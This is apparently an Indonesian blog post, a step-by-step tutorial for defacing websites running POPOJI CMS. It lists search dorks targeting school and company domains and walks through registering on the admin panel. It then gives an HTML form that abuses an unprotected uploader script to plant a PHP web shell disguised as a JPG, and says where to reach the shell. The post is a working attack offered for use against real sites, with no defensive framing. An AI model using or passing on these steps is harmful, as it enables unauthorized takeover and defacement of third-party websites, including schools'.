Cara Deface CMS POPOJI

DORK
inurl:"/detailpost site:sch.id"
Inurl:/detailpost site:.co.id
Powered by Popoji
© popojicms
ude you brains bro :)

Next
Stepp 1

buka site/po-admin lalu klik create aaccount di bawah

Stepp 2

isi form data diri anda

Stepp 3 kalo seperti ini sukses lanjut

stepp 4 buka email kalian verif akun

Stepp 4 login akun di site/po-admin kalo sukses kaya di ss

Stepp 5
exploit kan ini po-admin/js/plugins/uploader/upload.php

kalo seperti d ss lanjut
CSRF CODE
<form method="post" action="target.wew/po-admin/js/plugins/uploader/upload.php" enctype="multipart/form-data">
<input type="file" name="file">
<input type="hidden" name="name" value="nama_shell_anda.php">
<input type="submit" value="exploit">
</form>

stepp 6 next buka csrf upload shell kalian dalam bentuk jpg ingat JPG bukanPHP

Akses Shell site/po-content/po-upload

Ihsan

Cara Deface CMS POPOJI

Share this